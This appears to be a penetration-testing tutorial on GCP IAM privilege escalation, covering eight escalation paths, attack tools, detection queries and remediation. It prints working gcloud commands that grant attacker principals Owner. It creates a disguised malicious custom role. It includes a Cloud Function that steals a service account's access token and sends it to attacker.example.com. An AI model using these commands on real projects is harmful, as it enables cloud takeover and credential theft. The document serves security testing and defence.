GCP IAM privilege escalation techniques diagram

GCP IAM Privilege Escalation Techniques

GCP IAM privilege escalation paths including service account impersonation, binding escalation, and workload identity abuse.

Oct 13, 2026
2 min read

Introduction

GCP's IAM model uses bindings that associate a principal (user, service account, group) with a role on a resource. Privilege escalation in GCP is almost always IAM-driven: you find a permission that lets you modify bindings, impersonate a service account with higher privileges, or deploy compute resources that inherit elevated identity. Unlike AWS assume-role, GCP service account impersonation via iam.serviceAccountTokenCreator doesn't require the SA to explicitly trust you — the permission binding is sufficient.

Rhino Security Labs documented 39 distinct escalation paths in their 2020 research. The core insight is that certain IAM permissions are themselves privilege escalation primitives: setIamPolicy at any resource level lets you grant yourself anything, serviceAccountTokenCreator hands you short-lived tokens for any SA in scope, and actAs combined with compute/function creation lets you pivot to a SA's identity via workload execution. Many of these paths exist because GCP organizations grant broad permissions at the project level while assuming SA impersonation is a separate concern.

Enumeration is the prerequisite. You need to know what permissions your current principal has, what SAs exist, what roles they carry, and whether any of those roles include escalation primitives. The paths described here assume you have a foothold — either a compromised user credential, a metadata server access from a GCE instance, or a leaked SA key.

Authorization Required

These techniques are destructive and leave audit trails in Cloud Audit Logs. Only execute against GCP projects where you have explicit written authorization. Unauthorized access to cloud resources violates the Computer Fraud and Abuse Act and Google's Acceptable Use Policy regardless of how permissions were acquired.

Impact

  • Full project takeover via resourcemanager.projects.setIamPolicy — one binding grants you Owner
  • Persistent backdoor SAs that survive incident response if cleanup is incomplete
  • Cross-project escalation when SAs have bindings in multiple projects
  • Data exfiltration from GCS, BigQuery, Secrets Manager via impersonated high-privilege SAs
  • Lateral movement into connected GCP services (GKE, Cloud SQL, Pub/Sub) through SA token reuse
  • Workload identity abuse enables external identity providers (GitHub Actions, AWS, Azure AD) to pivot into GCP SAs without a key file

Technical Details

Enumerate Current Permissions

Before attempting any escalation path, determine what permissions the current principal has. The testIamPermissions API tests a list of permissions against a resource and returns only those you hold — no denied error, just a filtered list.

Test permissions on project
gcloud projects test-iam-permissions PROJECT_ID \
  --permissions='iam.serviceAccounts.setIamPolicy,iam.roles.create,iam.roles.update,resourcemanager.projects.setIamPolicy,iam.serviceAccountTokenCreator,iam.serviceAccounts.actAs,cloudfunctions.functions.create,compute.instances.setServiceAccount'

enumerate-iam.py by toniblyx brute-forces all ~10,000 GCP permissions using testIamPermissions across multiple resource types. It batches 100 permissions per API call to avoid quota exhaustion.

Full permission enumeration
python3 enumerate-iam.py \
  --project PROJECT_ID \
  --service-account-email SA@PROJECT_ID.iam.gserviceaccount.com \
  --service-account-key key.json

Also enumerate SA bindings directly to find which SAs hold what roles:

List all SA bindings
gcloud projects get-iam-policy PROJECT_ID \
  --flatten="bindings[].members" \
  --format="table(bindings.role,bindings.members)" \
  --filter="bindings.members:serviceAccount"

Path 1 — iam.serviceAccounts.setIamPolicy

This permission lets you update the IAM policy on a service account resource (not the project). You add yourself as roles/iam.serviceAccountTokenCreator on a target SA with high privileges, then generate tokens as that SA.

Grant yourself tokenCreator on target SA
gcloud iam service-accounts add-iam-policy-binding \
  TARGET_SA@PROJECT_ID.iam.gserviceaccount.com \
  --member="user:attacker@gmail.com" \
  --role="roles/iam.serviceAccountTokenCreator"
Generate short-lived access token
gcloud auth print-access-token \
  --impersonate-service-account=TARGET_SA@PROJECT_ID.iam.gserviceaccount.com

The token is valid for 3600 seconds by default. Use it with any GCP API by passing Authorization: Bearer TOKEN or setting CLOUDSDK_AUTH_ACCESS_TOKEN.

Path 2 — iam.serviceAccountTokenCreator (Direct)

If you already hold roles/iam.serviceAccountTokenCreator on a SA, you skip the binding step and go straight to impersonation.

Generate access token
gcloud iam service-accounts generate-access-token \
  TARGET_SA@PROJECT_ID.iam.gserviceaccount.com \
  --lifetime=3600s
Use token to call GCP APIs directly
TOKEN=$(gcloud auth print-access-token \
  --impersonate-service-account=TARGET_SA@PROJECT_ID.iam.gserviceaccount.com)

curl -H "Authorization: Bearer $TOKEN" \
  "https://cloudresourcemanager.googleapis.com/v1/projects/PROJECT_ID:getIamPolicy" \
  -X POST -H "Content-Type: application/json" -d '{}'

Chaining impersonation is also supported — if SA_A has tokenCreator on SA_B which has tokenCreator on SA_C, you can chain them:

Impersonation chain
gcloud auth print-access-token \
  --impersonate-service-account=SA_A@PROJECT.iam.gserviceaccount.com,SA_B@PROJECT.iam.gserviceaccount.com,SA_C@PROJECT.iam.gserviceaccount.com

Path 3 — iam.roles.update (Custom Role Modification)

If you have iam.roles.update on a project, you can modify any custom role's included permissions. Find a custom role you're bound to and add resourcemanager.projects.setIamPolicy or iam.serviceAccountTokenCreator to it.

List custom roles in project
gcloud iam roles list --project=PROJECT_ID
Add high-privilege permission to existing custom role
gcloud iam roles update ROLE_ID \
  --project=PROJECT_ID \
  --add-permissions=resourcemanager.projects.setIamPolicy

After the update propagates (usually seconds), your existing binding now grants the new permission without any additional IAM changes being logged against your principal.

Path 4 — iam.roles.create (Custom Role Creation)

iam.roles.create lets you define a new custom role with any set of permissions that you yourself hold (iam.roles.create does not allow privilege escalation beyond your current permissions in theory, but in practice it's often granted alongside other permissions that do). The exploitation pattern is to combine this with resourcemanager.projects.setIamPolicy on the same principal.

Create malicious custom role
gcloud iam roles create MALICIOUS_ROLE \
  --project=PROJECT_ID \
  --permissions=resourcemanager.projects.setIamPolicy,iam.serviceAccountTokenCreator \
  --title="Service Account Viewer" \
  --description="Monitoring role"
Bind yourself to the new role
gcloud projects add-iam-policy-binding PROJECT_ID \
  --member="user:attacker@gmail.com" \
  --role="projects/PROJECT_ID/roles/MALICIOUS_ROLE"

Path 5 — resourcemanager.projects.setIamPolicy

The nuclear option. Direct project-level policy modification lets you add any binding at the project level — including roles/owner on your principal.

Get current policy
gcloud projects get-iam-policy PROJECT_ID --format=json > policy.json
Add owner binding and apply
# Edit policy.json to add: {"members":["user:attacker@gmail.com"],"role":"roles/owner"}
gcloud projects set-iam-policy PROJECT_ID policy.json

This generates an AuditLog entry of type SetIamPolicy sourced from cloudresourcemanager.googleapis.com. Detection is straightforward if anyone is watching.

Path 6 — Cloud Functions Deployment (actAs + cloudfunctions.functions.create)

iam.serviceAccounts.actAs allows you to deploy workloads that run as a target SA. Combined with cloudfunctions.functions.create, you deploy a function that runs as a privileged SA and exfiltrates its access token to an attacker-controlled endpoint.

Deploy exfiltration function
cat > /tmp/main.py << 'EOF'
import urllib.request
import google.auth
import google.auth.transport.requests

def exfil(request):
    creds, project = google.auth.default()
    auth_req = google.auth.transport.requests.Request()
    creds.refresh(auth_req)
    token = creds.token
    # Exfiltrate token
    urllib.request.urlopen(f"https://attacker.example.com/?t={token}")
    return token
EOF

cat > /tmp/requirements.txt << 'EOF'
google-auth
EOF

gcloud functions deploy exfil-func \
  --runtime=python311 \
  --trigger-http \
  --allow-unauthenticated \
  --service-account=HIGH_PRIV_SA@PROJECT_ID.iam.gserviceaccount.com \
  --source=/tmp \
  --entry-point=exfil \
  --region=us-central1
Trigger the function
curl https://REGION-PROJECT_ID.cloudfunctions.net/exfil-func

The same pattern applies to Cloud Run, App Engine, and Cloud Build — any service that accepts a --service-account flag and has corresponding actAs permission.

Path 7 — compute.instances.setServiceAccount

If you have write access to GCE and this permission, you can swap the SA attached to an existing VM to a high-privilege one, then access the metadata server from within the VM.

Attach privileged SA to existing VM
gcloud compute instances set-service-account INSTANCE_NAME \
  --zone=ZONE \
  --service-account=HIGH_PRIV_SA@PROJECT_ID.iam.gserviceaccount.com \
  --scopes=cloud-platform

Then from within the VM:

Retrieve token from metadata server
curl -H "Metadata-Flavor: Google" \
  "http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token"

If you don't have shell access to the VM, combine with compute.instances.setMetadata to inject a startup script that exfiltrates the token on next reboot.

Path 8 — Workload Identity Pool Abuse

Workload Identity Federation lets external identities (GitHub Actions, AWS IAM roles, Azure AD) authenticate to GCP without a key file. The mapping is controlled by attribute conditions on the pool binding. A misconfigured condition like attribute.repository=="*" instead of a specific repo lets any GitHub Actions workflow impersonate the bound GCP SA.

Identify misconfigured workload identity pool bindings
gcloud iam service-accounts get-iam-policy TARGET_SA@PROJECT_ID.iam.gserviceaccount.com

Look for bindings with principalSet://iam.googleapis.com/projects/NUMBER/locations/global/workloadIdentityPools/POOL_ID/attribute.ATTR/VALUE where the value is overly broad.

GitHub Actions payload to abuse misconfigured pool
# In a GitHub Actions workflow file
- id: auth
  uses: google-github-actions/auth@v2
  with:
    workload_identity_provider: 'projects/NUMBER/locations/global/workloadIdentityPools/POOL/providers/PROVIDER'
    service_account: 'TARGET_SA@PROJECT_ID.iam.gserviceaccount.com'

No key file needed — the OIDC token from the GitHub OIDC provider is exchanged for a GCP access token via the STS endpoint (sts.googleapis.com).

Attack Tools

Toniblyx's enumerate-iam.py tests permissions via testIamPermissions across project, SA, bucket, and other resource types.

Install and run
git clone https://github.com/toniblyx/gcp-iam-enum
cd gcp-iam-enum
pip3 install -r requirements.txt

# Enumerate with SA key
python3 enumerate-iam.py \
  --project PROJECT_ID \
  --service-account-key /path/to/key.json

# Enumerate with ADC (Application Default Credentials)
python3 enumerate-iam.py \
  --project PROJECT_ID \
  --use-adc

Output groups permissions by service (compute., iam., storage.*) and flags escalation-relevant permissions with a warning marker.

GCPwn is a post-exploitation framework for GCP that automates enumeration and exploitation of common escalation paths.

Install gcpwn
git clone https://github.com/NetSPI/gcpwn
cd gcpwn
pip3 install -r requirements.txt
python3 main.py
gcpwn interactive session
# Load credentials
> creds load --key-file /path/to/key.json

# Enumerate everything
> enumerate all --project PROJECT_ID

# Check escalation paths automatically
> privesc check

# Execute specific escalation
> privesc run --method setIamPolicy --target user:attacker@gmail.com --role roles/owner

GCPwn tracks discovered assets, credentials, and escalation paths in a SQLite database and can generate a full attack graph.

The gcloud CLI is sufficient for most escalation paths when you want fine-grained control.

Configure with compromised SA key
gcloud auth activate-service-account \
  --key-file=/path/to/key.json

# Or with stolen access token
gcloud config set auth/access_token_file /dev/stdin <<< "TOKEN"
Quick escalation check: find tokenCreator bindings
gcloud projects get-iam-policy PROJECT_ID \
  --flatten="bindings[].members" \
  --format="table(bindings.role,bindings.members)" \
  --filter="bindings.role:serviceAccountTokenCreator"
List all SAs and their keys
gcloud iam service-accounts list --project=PROJECT_ID
for SA in $(gcloud iam service-accounts list --format="value(email)" --project=PROJECT_ID); do
  echo "=== $SA ==="
  gcloud iam service-accounts keys list --iam-account=$SA
done
Rhino Security Labs escalation scripts
git clone https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation
cd GCP-IAM-Privilege-Escalation
pip3 install -r requirements.txt

# Check for all 39 escalation paths
python3 PrivEscScanner/main.py \
  --project-id PROJECT_ID \
  --sa-credentials-file key.json

Detection

GCP Cloud Audit Logs capture all admin and data access activity. The following log entries signal privilege escalation attempts.

Admin Activity logs (always on, cannot be disabled):

Log EntryActivity TypeSignificance
SetIamPolicy on projectcloudresourcemanager.googleapis.comDirect binding escalation
SetIamPolicy on SAiam.googleapis.comtokenCreator self-grant
CreateRole / UpdateRoleiam.googleapis.comCustom role abuse
CreateServiceAccountiam.googleapis.comBackdoor SA creation
CreateServiceAccountKeyiam.googleapis.comKey persistence
GenerateAccessTokeniamcredentials.googleapis.comSA impersonation
instances.setServiceAccountcompute.googleapis.comVM SA swap

SIEM detection query (Log Analytics / BigQuery export):

Detect SetIamPolicy granting owner/editor
SELECT
  timestamp,
  protopayload_auditlog.authenticationInfo.principalEmail AS actor,
  protopayload_auditlog.requestMetadata.callerIp AS source_ip,
  protopayload_auditlog.resourceName AS resource,
  JSON_EXTRACT_SCALAR(protopayload_auditlog.requestJson, '$.policy') AS new_policy
FROM `PROJECT_ID.DATASET.cloudaudit_googleapis_com_activity`
WHERE
  protopayload_auditlog.methodName = 'SetIamPolicy'
  AND (
    protopayload_auditlog.requestJson LIKE '%roles/owner%'
    OR protopayload_auditlog.requestJson LIKE '%roles/editor%'
    OR protopayload_auditlog.requestJson LIKE '%serviceAccountTokenCreator%'
  )
  AND DATE(_PARTITIONTIME) >= DATE_SUB(CURRENT_DATE(), INTERVAL 7 DAY)
ORDER BY timestamp DESC

Cloud Monitoring alert for SA impersonation:

Create alert for GenerateAccessToken
gcloud alpha monitoring policies create \
  --notification-channels=CHANNEL_ID \
  --display-name="SA Impersonation Detected" \
  --condition-filter='resource.type="audited_resource" AND protoPayload.methodName="GenerateAccessToken"' \
  --condition-threshold-value=1 \
  --condition-threshold-duration=0s

Workload Identity Pool audit — check ExchangeToken calls in sts.googleapis.com data access logs. Volume spikes or unexpected subject claims indicate abuse. Enable Data Access logs for the STS API explicitly; they are off by default.

Remediation

  • Audit setIamPolicy grants immediately — resourcemanager.projects.setIamPolicy, iam.serviceAccounts.setIamPolicy, and iam.roles.update are almost never needed by non-admin identities. Enumerate and remove them using Organization Policy constraints.

  • Enforce iam.disableServiceAccountKeyCreation org policy — prevents SA key creation entirely, forcing workloads to use metadata server tokens or workload identity federation.

  • Apply iam.disableServiceAccountCreation at the folder/project level for non-admin projects — limits the blast radius of compromised principals.

  • Constrain workload identity attribute conditions — never use wildcard values. Require exact repository, exact branch, and exact workflow file path in attribute conditions:

    Terraform: restricted workload identity binding
    condition = "attribute.repository == 'myorg/myrepo' && attribute.ref == 'refs/heads/main'"
  • Enable VPC Service Controls around IAM-sensitive APIs (iam.googleapis.com, iamcredentials.googleapis.com) — restricts API calls to authorized networks and prevents exfiltration of tokens to external endpoints.

  • Review custom roles quarterly — iam.roles.list with --filter="stage=GA" and compare included permissions against a known-good baseline.

  • Least-privilege SA design — SAs should have no IAM roles at the project level. Grant roles at the specific resource level (bucket, dataset, topic) using conditions where possible.

  • Rotate and audit SA keys — any SA key older than 90 days should be investigated. Keys should be replaced by workload identity federation for any GCP-to-GCP or CI/CD-to-GCP authentication.

References

MITRE ATT&CK Techniques

Tools Documentation

Next Steps

On this page